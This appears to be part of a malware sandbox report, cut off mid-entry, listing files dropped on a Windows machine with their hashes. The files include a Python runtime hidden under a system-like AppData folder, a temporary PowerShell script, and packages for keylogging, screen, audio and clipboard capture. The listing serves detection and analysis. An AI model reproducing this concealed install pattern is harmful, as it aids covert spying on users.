                        • Size 208B
                        • SHA256 547c3fbfe7a268a91c326ae1fe98a8f27d7ffa61872bb998f0fe351bde5663d0
                        • MD5 SHA1 SHA512 TLSH

                        _log.cpython-312.pyc

                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\Lib\site-packages\pip\_internal\utils\__pycache__\_log.cpython-312.pyc
                        • Size 1KB
                        • SHA256 0515049e2b6a45f45a4d07ed297b757a6280aa9baf2257dce048da69e480e2cb
                        • MD5 SHA1 SHA512 TLSH

                        __init__.cpython-312.pyc

                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\Lib\site-packages\pip\_vendor\__pycache__\__init__.cpython-312.pyc
                        • Size 4KB
                        • SHA256 453bbbd925f1de0939a61adac0aeb50430d25b4d17d018d7a6503763b312e07c
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        __init__.cpython-312.pyc

                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\Lib\site-packages\pip\_vendor\rich\__pycache__\__init__.cpython-312.pyc
                        • Size 6KB
                        • SHA256 e16510ba89aaab2baf54a70a92f462c49ac2213ab0c387c1bfb7808677fc6803
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        _extension.cpython-312.pyc

                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\Lib\site-packages\pip\_vendor\rich\__pycache__\_extension.cpython-312.pyc
                        • Size 555B
                        • SHA256 c86ae03d575333db3d85f602882f871cb444ff08bd52aef01ccda87b561774c3
                        • MD5 SHA1 SHA512 TLSH

                        LICENSE

                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\Lib\site-packages\requests-2.34.2.dist-info\licenses\LICENSE
                        • Size 9KB
                        • SHA256 09e8a9bcec8067104652c168685ab0931e7868f9c8284b66f5ae6edae5f1130b
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        INSTALLERa0kjmo5h.tmp

                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\Lib\site-packages\vdf-3.4.dist-info\INSTALLERa0kjmo5h.tmp
                        • Size 4B
                        • SHA256 ceebae7b8927a3227e5303cf5e0f1f7b34bb542ad7250ac03fbcde36ec2f1508
                        • MD5 SHA1 SHA512

                        pywin32_postinstall.py

                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\Lib\site-packages\win32\scripts\pywin32_postinstall.py
                        • Size 24KB
                        • SHA256 453dd1a2020102b3148510856a2bd6925d8db15670afd70d35dda172c5d4054e
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        pywin32_testall.py

                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\Lib\site-packages\win32\scripts\pywin32_testall.py
                        • Size 3KB
                        • SHA256 158be3c78ded85dbdb91669888b3135f7f51c6c14bd1cfb5a3ec58dae76506a0
                        • MD5 SHA1 SHA512 TLSH

                        __init__.py

                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\Lib\site-packages\win32comext\bits\__init__.py
                        • Size 198B
                        • SHA256 0486114a785d3c74a9940bd828bf4d04bb90599eba7be427269895580fc00f7f
                        • MD5 SHA1 SHA512 TLSH

                        __init__.py

                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\Lib\site-packages\win32comext\internet\__init__.py
                        • Size 139B
                        • SHA256 dd388bf3740ba9de76807a928b7552844018947d3a8555eeaa2cefce7d623d13
                        • MD5 SHA1 SHA512 TLSH

                        pip.exe

                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\Scripts\pip.exe
                        • Size 105KB
                        • SHA256 b84e487c39b4bb6854cd08a4e1072c2f82fb5ece39cc1d4554e95064e5440ad4
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        VCRUNTIME140.dll

                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\VCRUNTIME140.dll
                        • Size 117KB
                        • SHA256 36585912e5eaf83ba9fea0631534f690ccdc2d7ba91537166fe53e56c221e153
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        _bz2.pyd

                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\_bz2.pyd
                        • Size 82KB
                        • SHA256 160b5218c2035cccbaab9dc4ca26d099f433dcb86dbbd96425c933dc796090df
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        _ctypes.pyd

                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\_ctypes.pyd
                        • Size 122KB
                        • SHA256 8250b4c102abd1dba49fc5b52030caa93ca34e00b86cee6547cc0a7f22326807
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        _decimal.pyd

                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\_decimal.pyd
                        • Size 250KB
                        • SHA256 b7f9603f98ef232a2c5bce7001d842c01d76ed35171afbd898e6d17facf38b56
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        _hashlib.pyd

                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\_hashlib.pyd
                        • Size 64KB
                        • SHA256 b4cec162b985d34ab768f66e8fa41ed28dc2f273fde6670eeace1d695789b137
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        _lzma.pyd

                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\_lzma.pyd
                        • Size 154KB
                        • SHA256 b095fa2eac97496b515031fbea5737988b18deee86a11f2784f5a551732ddc0c
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        _queue.pyd

                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\_queue.pyd
                        • Size 31KB
                        • SHA256 bbe7736caed8c17c97e2b156f686521a788c25f2004aae34ab0c282c24d57da7
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        _socket.pyd

                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\_socket.pyd
                        • Size 81KB
                        • SHA256 ce3090fff8575b21287df5fc69ae98806646fc302eefadf85e369ad3debad92b
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        _ssl.pyd

                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\_ssl.pyd
                        • Size 173KB
                        • SHA256 61f00b0543464bba61e0bd1128118326c9bd0cdc592854dd1a31c3d6d8df2b83
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        _uuid.pyd

                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\_uuid.pyd
                        • Size 25KB
                        • SHA256 869361adf2be930e5c8b492fa2116dc0d0edccbf2c231d39c859ce320be27b31
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        _wmi.pyd

                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\_wmi.pyd
                        • Size 37KB
                        • SHA256 b0ed1c62b73b291a1b57e3d8882cc269b2fcbb1253f2947da18d9036e0c985d9
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        get-pip.py

                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\get-pip.py
                        • Size 2.1MB
                        • SHA256 a341e1a43e38001c551a1508a73ff23636a11970b61d901d9a1cad2a18f57055
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        libcrypto-3.dll

                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\libcrypto-3.dll
                        • Size 5.0MB
                        • SHA256 4e5d5d20d6d31e72ab341c81e97b89e514326c4c861b48638243bdf0918cfa43
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        libffi-8.dll

                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\libffi-8.dll
                        • Size 38KB
                        • SHA256 eff52743773eb550fcc6ce3efc37c85724502233b6b002a35496d828bd7b280a
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        libssl-3.dll

                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\libssl-3.dll
                        • Size 774KB
                        • SHA256 2e4d35b681a172d3298caf7dc670451be7a8ba27c26446efc67470742497a950
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        pyexpat.pyd

                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\pyexpat.pyd
                        • Size 196KB
                        • SHA256 b6670d91a76e9f00609752ab19aae0b1ebe00d24d9d8d22068989bbb24d0aa44
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        python.exe

                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\python.exe
                        • Size 101KB
                        • SHA256 ca60cf785b2314a6d6599eced15bdf094e6db171bec996b97a70b995942c3c37
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        python.zip

                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\python.zip
                        • Size 10.6MB
                        • SHA256 0d57bb6cb078b74d23dbfe91f77d6780d45bed328911609f1f7ee2ba1606bf44
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        python3.dll

                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\python3.dll
                        • Size 66KB
                        • SHA256 d52baca085f88b40f30c855e6c55791e5375c80f60f94057061e77e33f4cad7a
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        python312._pth

                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\python312._pth
                        • Size 79B
                        • SHA256 9fe5713a8c85777f99d941d14409946124df1f322e987485ed30600f4f0afde1
                        • MD5 SHA1 SHA512 TLSH

                        python312.dll

                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\python312.dll
                        • Size 6.6MB
                        • SHA256 93488fa7e631cc0a2bd808b9eee8617280ee9b6ff499ab424a1a1cbf24d77dc7
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        python312.zip

                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\python312.zip
                        • Size 3.6MB
                        • SHA256 b321b802f5c37d2b45a5d2a79645f223143ffa778666135148871b7b8cbb7fe4
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        select.pyd

                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\select.pyd
                        • Size 30KB
                        • SHA256 dca5e6d39c5094ce599143cb82f6d8470f0c2a4ce4443499e73f32ed13333fd0
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        unicodedata.pyd

                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\unicodedata.pyd
                        • Size 1.1MB
                        • SHA256 64a162d6b11ba10cb11509f3cc445f17beb7acfd064f030b4d59faa1c9894b29
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        vcruntime140_1.dll

                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\vcruntime140_1.dll
                        • Size 48KB
                        • SHA256 82a2f9ae1e6146ae3cb0f4bc5a62b7227e0384209d9b1aef86bbcc105912f7cd
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        0ebt70dc

                        • Path C:\Users\Admin\AppData\Local\Temp\0ebt70dc
                        • Size 4B
                        • SHA256 f02285fb90ed8c81531fe78cf4e2abb68a62be73ee7d317623e2c3e3aefdfff2
                        • MD5 SHA1 SHA512

                        Tmp8497.tmp

                        • Path C:\Users\Admin\AppData\Local\Temp\Tmp8497.tmp
                        • Size 2KB
                        • SHA256 181fd1300a1ec0064e66ced9c7640295f8c22f0e483585e1549da575861acada
                        • MD5 SHA1 SHA512 TLSH

                        __PSScriptPolicyTest_fw3vtxyb.lcq.ps1

                        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_fw3vtxyb.lcq.ps1
                        • Size 60B
                        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                        • MD5 SHA1 SHA512 TLSH

                        dd6e4167.ps1

                        • Path C:\Users\Admin\AppData\Local\Temp\dd6e4167.ps1
                        • Size 97KB
                        • SHA256 9cc26c67d883f274265717c2ed111b1f77c74534b59bb6e12dbbbfecc5caae2f
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        bidict-0.23.1-py3-none-any.whl.metadata

                        • Path C:\Users\Admin\AppData\Local\Temp\pip-unpack-062sawhx\bidict-0.23.1-py3-none-any.whl.metadata
                        • Size 8KB
                        • SHA256 da8bc8466e837fc81dc0031e906aa4781485e535a3da6bf58e99a1e16e24b3ba
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        wsproto-1.3.2-py3-none-any.whl.metadata

                        • Path C:\Users\Admin\AppData\Local\Temp\pip-unpack-21wcy_yc\wsproto-1.3.2-py3-none-any.whl.metadata
                        • Size 5KB
                        • SHA256 c758e97f876f6c7cd2fd9517b50ab34110f36b733299fc0d43d1aeb1ec154dc9
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        pywin32-312-cp312-cp312-win_amd64.whl.metadata

                        • Path C:\Users\Admin\AppData\Local\Temp\pip-unpack-2nav69_b\pywin32-312-cp312-cp312-win_amd64.whl.metadata
                        • Size 10KB
                        • SHA256 77f53e90408dd3bdcf5f73a20d6548504313dee2ad34f8b3794b2202583a84b1
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        requests-2.34.2-py3-none-any.whl.metadata

                        • Path C:\Users\Admin\AppData\Local\Temp\pip-unpack-4d0eike1\requests-2.34.2-py3-none-any.whl.metadata
                        • Size 4KB
                        • SHA256 8c384ba3e979480faae2859d3c5e6c1276dd2c3616e322e124d52c8cfc556f27
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        cryptography-49.0.0-cp311-abi3-win_amd64.whl.metadata

                        • Path C:\Users\Admin\AppData\Local\Temp\pip-unpack-4wm4wczq\cryptography-49.0.0-cp311-abi3-win_amd64.whl.metadata
                        • Size 4KB
                        • SHA256 1fc839d24efc355f0e5c507aa807822bca4371e732603b6d3e92b24038deded2
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        vdf-3.4-py2.py3-none-any.whl.metadata

                        • Path C:\Users\Admin\AppData\Local\Temp\pip-unpack-5b8iwnws\vdf-3.4-py2.py3-none-any.whl.metadata
                        • Size 5KB
                        • SHA256 c3a0808f89d4dc5959c2a7d6b526e318afe1ef6ec68961f188b01dba0ac44ef6
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        av-17.1.0-cp311-abi3-win_amd64.whl.metadata

                        • Path C:\Users\Admin\AppData\Local\Temp\pip-unpack-60aepwhi\av-17.1.0-cp311-abi3-win_amd64.whl.metadata
                        • Size 4KB
                        • SHA256 0e1df952cee8a513c8ba80b1f79b6ab91a98d87b561f09244c88dce6ce86040e
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        h11-0.16.0-py3-none-any.whl.metadata

                        • Path C:\Users\Admin\AppData\Local\Temp\pip-unpack-6mob83uv\h11-0.16.0-py3-none-any.whl.metadata
                        • Size 8KB
                        • SHA256 28f326098ac09fcba79b8f180f96087c841fe2456215cb7b872a9c7d5cd19d64
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        cffi-2.0.0-cp312-cp312-win_amd64.whl.metadata

                        • Path C:\Users\Admin\AppData\Local\Temp\pip-unpack-7hefarzd\cffi-2.0.0-cp312-cp312-win_amd64.whl.metadata
                        • Size 2KB
                        • SHA256 6444fa102f91029ef6f6d5b5a3860997ad71f6caead0ed00fed678377322dee7
                        • MD5 SHA1 SHA512 TLSH

                        pyaudiowpatch-0.2.12.8-cp312-cp312-win_amd64.whl.metadata

                        • Path C:\Users\Admin\AppData\Local\Temp\pip-unpack-7rvw0hxv\pyaudiowpatch-0.2.12.8-cp312-cp312-win_amd64.whl.metadata
                        • Size 9KB
                        • SHA256 08f2903e39af161f0db3a798a6974d158827a693add2bab1516f3a4b0b151821
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        WMI-1.5.1-py2.py3-none-any.whl

                        • Path C:\Users\Admin\AppData\Local\Temp\pip-unpack-8pbljh4n\WMI-1.5.1-py2.py3-none-any.whl
                        • Size 28KB
                        • SHA256 1d6b085e5c445141c475476000b661f60fff1aaa19f76bf82b7abb92e0ff4942
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        certifi-2026.6.17-py3-none-any.whl

                        • Path C:\Users\Admin\AppData\Local\Temp\pip-unpack-8pbljh4n\certifi-2026.6.17-py3-none-any.whl
                        • Size 130KB
                        • SHA256 2227dcbaafe0d2f59279d1762ddddc37783ed4354594f194ffc31d20f41fc3db
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        charset_normalizer-3.4.7-cp312-cp312-win_amd64.whl

                        • Path C:\Users\Admin\AppData\Local\Temp\pip-unpack-8pbljh4n\charset_normalizer-3.4.7-cp312-cp312-win_amd64.whl
                        • Size 155KB
                        • SHA256 5ed6ab538499c8644b8a3e18debabcd7ce684f3fa91cf867521a7a0279cab2d6
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        idna-3.18-py3-none-any.whl

                        • Path C:\Users\Admin\AppData\Local\Temp\pip-unpack-8pbljh4n\idna-3.18-py3-none-any.whl
                        • Size 63KB
                        • SHA256 7f952cbe720b688055e3f87de14f5c3e5fdaa8bc3928985c4077ca689de849a2
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        pillow-12.2.0-cp312-cp312-win_amd64.whl

                        • Path C:\Users\Admin\AppData\Local\Temp\pip-unpack-8pbljh4n\pillow-12.2.0-cp312-cp312-win_amd64.whl
                        • Size 6.8MB
                        • SHA256 7f84204dee22a783350679a0333981df803dac21a0190d706a50475e361c93f5
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        psutil-7.2.2-cp37-abi3-win_amd64.whl

                        • Path C:\Users\Admin\AppData\Local\Temp\pip-unpack-8pbljh4n\psutil-7.2.2-cp37-abi3-win_amd64.whl
                        • Size 134KB
                        • SHA256 eb7e81434c8d223ec4a219b5fc1c47d0417b12be7ea866e24fb5ad6e84b3d988
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        pycryptodome-3.23.0-cp37-abi3-win_amd64.whl

                        • Path C:\Users\Admin\AppData\Local\Temp\pip-unpack-8pbljh4n\pycryptodome-3.23.0-cp37-abi3-win_amd64.whl
                        • Size 1.7MB
                        • SHA256 c75b52aacc6c0c260f204cbdd834f76edc9fb0d8e0da9fbf8352ef58202564e2
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        pywin32-312-cp312-cp312-win_amd64.whl

                        • Path C:\Users\Admin\AppData\Local\Temp\pip-unpack-8pbljh4n\pywin32-312-cp312-cp312-win_amd64.whl
                        • Size 6.6MB
                        • SHA256 b457f6d628a47e8a7346ce22acb7e1a46a4a78b52e1d17e1af56871bd19a93bc
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        requests-2.34.2-py3-none-any.whl

                        • Path C:\Users\Admin\AppData\Local\Temp\pip-unpack-8pbljh4n\requests-2.34.2-py3-none-any.whl
                        • Size 71KB
                        • SHA256 2a0d60c172f83ac6ab31e4554906c0f3b3588d37b5cb939b1c061f4907e278e0
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        urllib3-2.7.0-py3-none-any.whl

                        • Path C:\Users\Admin\AppData\Local\Temp\pip-unpack-8pbljh4n\urllib3-2.7.0-py3-none-any.whl
                        • Size 128KB
                        • SHA256 9fb4c81ebbb1ce9531cce37674bbc6f1360472bc18ca9a553ede278ef7276897
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        vdf-3.4-py2.py3-none-any.whl

                        • Path C:\Users\Admin\AppData\Local\Temp\pip-unpack-8pbljh4n\vdf-3.4-py2.py3-none-any.whl
                        • Size 10KB
                        • SHA256 68c1a125cc49e343d535af2dd25074e9cb0908c6607f073947c4a04bbe234534
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        charset_normalizer-3.4.7-cp312-cp312-win_amd64.whl.metadata

                        • Path C:\Users\Admin\AppData\Local\Temp\pip-unpack-9yd1nnae\charset_normalizer-3.4.7-cp312-cp312-win_amd64.whl.metadata
                        • Size 40KB
                        • SHA256 d2596460949144948a802232d3d952c5ed2c24657548159f46f3528ca5f9fabb
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        websocket_client-1.9.0-py3-none-any.whl.metadata

                        • Path C:\Users\Admin\AppData\Local\Temp\pip-unpack-_ebmtsrq\websocket_client-1.9.0-py3-none-any.whl.metadata
                        • Size 8KB
                        • SHA256 29cfc4c6cba2dcfd8757128f893d69ea13fe7598153c4854232c20405a493bb1
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        pygrabber-0.2-py3-none-any.whl.metadata

                        • Path C:\Users\Admin\AppData\Local\Temp\pip-unpack-axm4ewmh\pygrabber-0.2-py3-none-any.whl.metadata
                        • Size 3KB
                        • SHA256 a2c5e43ad5799e392083843a37966ee6aab7c5f823b28d9981a7deaa7cdd5057
                        • MD5 SHA1 SHA512 TLSH

                        base58-2.1.1-py3-none-any.whl.metadata

                        • Path C:\Users\Admin\AppData\Local\Temp\pip-unpack-c2_68vtv\base58-2.1.1-py3-none-any.whl.metadata
                        • Size 3KB
                        • SHA256 38c5ab1eac132605f2a4e712d13771dd7044499e58e2d7ab5cf5017e0d3b55dd
                        • MD5 SHA1 SHA512 TLSH

                        six-1.17.0-py2.py3-none-any.whl.metadata

                        • Path C:\Users\Admin\AppData\Local\Temp\pip-unpack-h_lfhs98\six-1.17.0-py2.py3-none-any.whl.metadata
                        • Size 1KB
                        • SHA256 562042078c2752549f6d8a7c86dbc5dd708088a7be6d80672ec7b07100b72468
                        • MD5 SHA1 SHA512 TLSH

                        pynput-1.8.2-py2.py3-none-any.whl.metadata

                        • Path C:\Users\Admin\AppData\Local\Temp\pip-unpack-hyld20rz\pynput-1.8.2-py2.py3-none-any.whl.metadata
                        • Size 31KB
                        • SHA256 b37d8f63315b56780af1fc0d3104d231d50caa6436ff6aa0a6603adb5cdcb5f3
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        pip-26.1.2-py3-none-any.whl.metadata

                        • Path C:\Users\Admin\AppData\Local\Temp\pip-unpack-ihn9oi24\pip-26.1.2-py3-none-any.whl.metadata
                        • Size 4KB
                        • SHA256 17832de47b5dc23e46253ba16462520036f28d9a27d5c30157784952ca4e69b2
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        pycryptodome-3.23.0-cp37-abi3-win_amd64.whl.metadata

                        • Path C:\Users\Admin\AppData\Local\Temp\pip-unpack-ilgkcr2v\pycryptodome-3.23.0-cp37-abi3-win_amd64.whl.metadata
                        • Size 3KB
                        • SHA256 3054c7b6ca96dfa8c968571921d169f91ac8ffa63686629d512dd50aa380bff1
                        • MD5 SHA1 SHA512 TLSH

                        mss-10.2.0-py3-none-any.whl.metadata

                        • Path C:\Users\Admin\AppData\Local\Temp\pip-unpack-kr_9wx_r\mss-10.2.0-py3-none-any.whl.metadata
                        • Size 7KB
                        • SHA256 570451fb9a2941d374ebb47d7e79f0c1f13d9a0ba87121379ac27d2b37e49805
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        av-17.1.0-cp311-abi3-win_amd64.whl

                        • Path C:\Users\Admin\AppData\Local\Temp\pip-unpack-llm3lte4\av-17.1.0-cp311-abi3-win_amd64.whl
                        • Size 26.7MB
                        • SHA256 5df5c1172ef1cf65a1529d612f7da7798ce2cf82c1ff7212466b538a6cc7214c
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        base58-2.1.1-py3-none-any.whl

                        • Path C:\Users\Admin\AppData\Local\Temp\pip-unpack-llm3lte4\base58-2.1.1-py3-none-any.whl
                        • Size 5KB
                        • SHA256 11a36f4d3ce51dfc1043f3218591ac4eb1ceb172919cebe05b52a5bcc8d245c2
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        bidict-0.23.1-py3-none-any.whl

                        • Path C:\Users\Admin\AppData\Local\Temp\pip-unpack-llm3lte4\bidict-0.23.1-py3-none-any.whl
                        • Size 31KB
                        • SHA256 5dae8d4d79b552a71cbabc7deb25dfe8ce710b17ff41711e13010ead2abfc3e5
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        cffi-2.0.0-cp312-cp312-win_amd64.whl

                        • Path C:\Users\Admin\AppData\Local\Temp\pip-unpack-llm3lte4\cffi-2.0.0-cp312-cp312-win_amd64.whl
                        • Size 179KB
                        • SHA256 da68248800ad6320861f129cd9c1bf96ca849a2771a59e0344e88681905916f5
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        comtypes-1.4.16-py3-none-any.whl

                        • Path C:\Users\Admin\AppData\Local\Temp\pip-unpack-llm3lte4\comtypes-1.4.16-py3-none-any.whl
                        • Size 289KB
                        • SHA256 e18d85179ff12955524c5a8c3bc09cb3c0d890f1da4d7123d14244c7b78f84c8
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        cryptography-49.0.0-cp311-abi3-win_amd64.whl

                        • Path C:\Users\Admin\AppData\Local\Temp\pip-unpack-llm3lte4\cryptography-49.0.0-cp311-abi3-win_amd64.whl
                        • Size 3.6MB
                        • SHA256 e5dfc1e64de5677cec922ffa8da89c546d0415bf6efdf081842e5d44c84e1f0e
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        dxcam-0.3.0-cp312-cp312-win_amd64.whl

                        • Path C:\Users\Admin\AppData\Local\Temp\pip-unpack-llm3lte4\dxcam-0.3.0-cp312-cp312-win_amd64.whl
                        • Size 331KB
                        • SHA256 ab75b16529b8bd7337dfcb663525c338233a24b4c5b76193ced82a70e16edf49
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        h11-0.16.0-py3-none-any.whl

                        • Path C:\Users\Admin\AppData\Local\Temp\pip-unpack-llm3lte4\h11-0.16.0-py3-none-any.whl
                        • Size 36KB
                        • SHA256 63cf8bbe7522de3bf65932fda1d9c2772064ffb3dae62d55932da54b31cb6c86
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        mss-10.2.0-py3-none-any.whl

                        • Path C:\Users\Admin\AppData\Local\Temp\pip-unpack-llm3lte4\mss-10.2.0-py3-none-any.whl
                        • Size 65KB
                        • SHA256 e79f428899280e7e64e38365b5bfed683851ebea807eeaeadaf06eb8e0d67197
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        numpy-2.5.0-cp312-cp312-win_amd64.whl

                        • Path C:\Users\Admin\AppData\Local\Temp\pip-unpack-llm3lte4\numpy-2.5.0-cp312-cp312-win_amd64.whl
                        • Size 11.8MB
                        • SHA256 6f2d6873e2940c860a309d21e25b1e69af6aaffdd80aa056b04c16380db1c4f2
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        pyaudiowpatch-0.2.12.8-cp312-cp312-win_amd64.whl

                        • Path C:\Users\Admin\AppData\Local\Temp\pip-unpack-llm3lte4\pyaudiowpatch-0.2.12.8-cp312-cp312-win_amd64.whl
                        • Size 96KB
                        • SHA256 fd163a6531c4e4969925e687ef1bc57fae8ecc1a95de7ba707a436622552d7fa
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        pycparser-3.0-py3-none-any.whl

                        • Path C:\Users\Admin\AppData\Local\Temp\pip-unpack-llm3lte4\pycparser-3.0-py3-none-any.whl
                        • Size 47KB
                        • SHA256 b727414169a36b7d524c1c3e31839a521725078d7b2ff038656844266160a992
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        pygrabber-0.2-py3-none-any.whl

                        • Path C:\Users\Admin\AppData\Local\Temp\pip-unpack-llm3lte4\pygrabber-0.2-py3-none-any.whl
                        • Size 23KB
                        • SHA256 5ac8bbe5f6a5dfb7c1c9c55d80ca9b9457743abd3ac8efa21cb9e302bdbf03ac
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        pynput-1.8.2-py2.py3-none-any.whl

                        • Path C:\Users\Admin\AppData\Local\Temp\pip-unpack-llm3lte4\pynput-1.8.2-py2.py3-none-any.whl
                        • Size 89KB
                        • SHA256 8cc38cf13a6ab2749cb375678be8a0fd705d7ce49c8001ff5db4007a723bbef1
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        pyperclip-1.11.0-py3-none-any.whl

                        • Path C:\Users\Admin\AppData\Local\Temp\pip-unpack-llm3lte4\pyperclip-1.11.0-py3-none-any.whl
                        • Size 10KB
                        • SHA256 299403e9ff44581cb9ba2ffeed69c7aa96a008622ad0c46cb575ca75b5b84273
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        python_engineio-4.13.3-py3-none-any.whl

                        • Path C:\Users\Admin\AppData\Local\Temp\pip-unpack-llm3lte4\python_engineio-4.13.3-py3-none-any.whl
                        • Size 58KB
                        • SHA256 1f60ecaf1358190f0e26c48c578a60428dc02a8f1295bc3dbf53d1b31116821f
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        python_socketio-5.16.3-py3-none-any.whl

                        • Path C:\Users\Admin\AppData\Local\Temp\pip-unpack-llm3lte4\python_socketio-5.16.3-py3-none-any.whl
                        • Size 80KB
                        • SHA256 e7ad14202a5e6448824c7c2f86161d04e13dec05992257df5c709e6a2798c041
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        simple_websocket-1.1.0-py3-none-any.whl

                        • Path C:\Users\Admin\AppData\Local\Temp\pip-unpack-llm3lte4\simple_websocket-1.1.0-py3-none-any.whl
                        • Size 13KB
                        • SHA256 4af6069630a38ed6c561010f0e11a5bc0d4ca569b36306eb257cd9a192497c8c
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        six-1.17.0-py2.py3-none-any.whl

                        • Path C:\Users\Admin\AppData\Local\Temp\pip-unpack-llm3lte4\six-1.17.0-py2.py3-none-any.whl
                        • Size 10KB
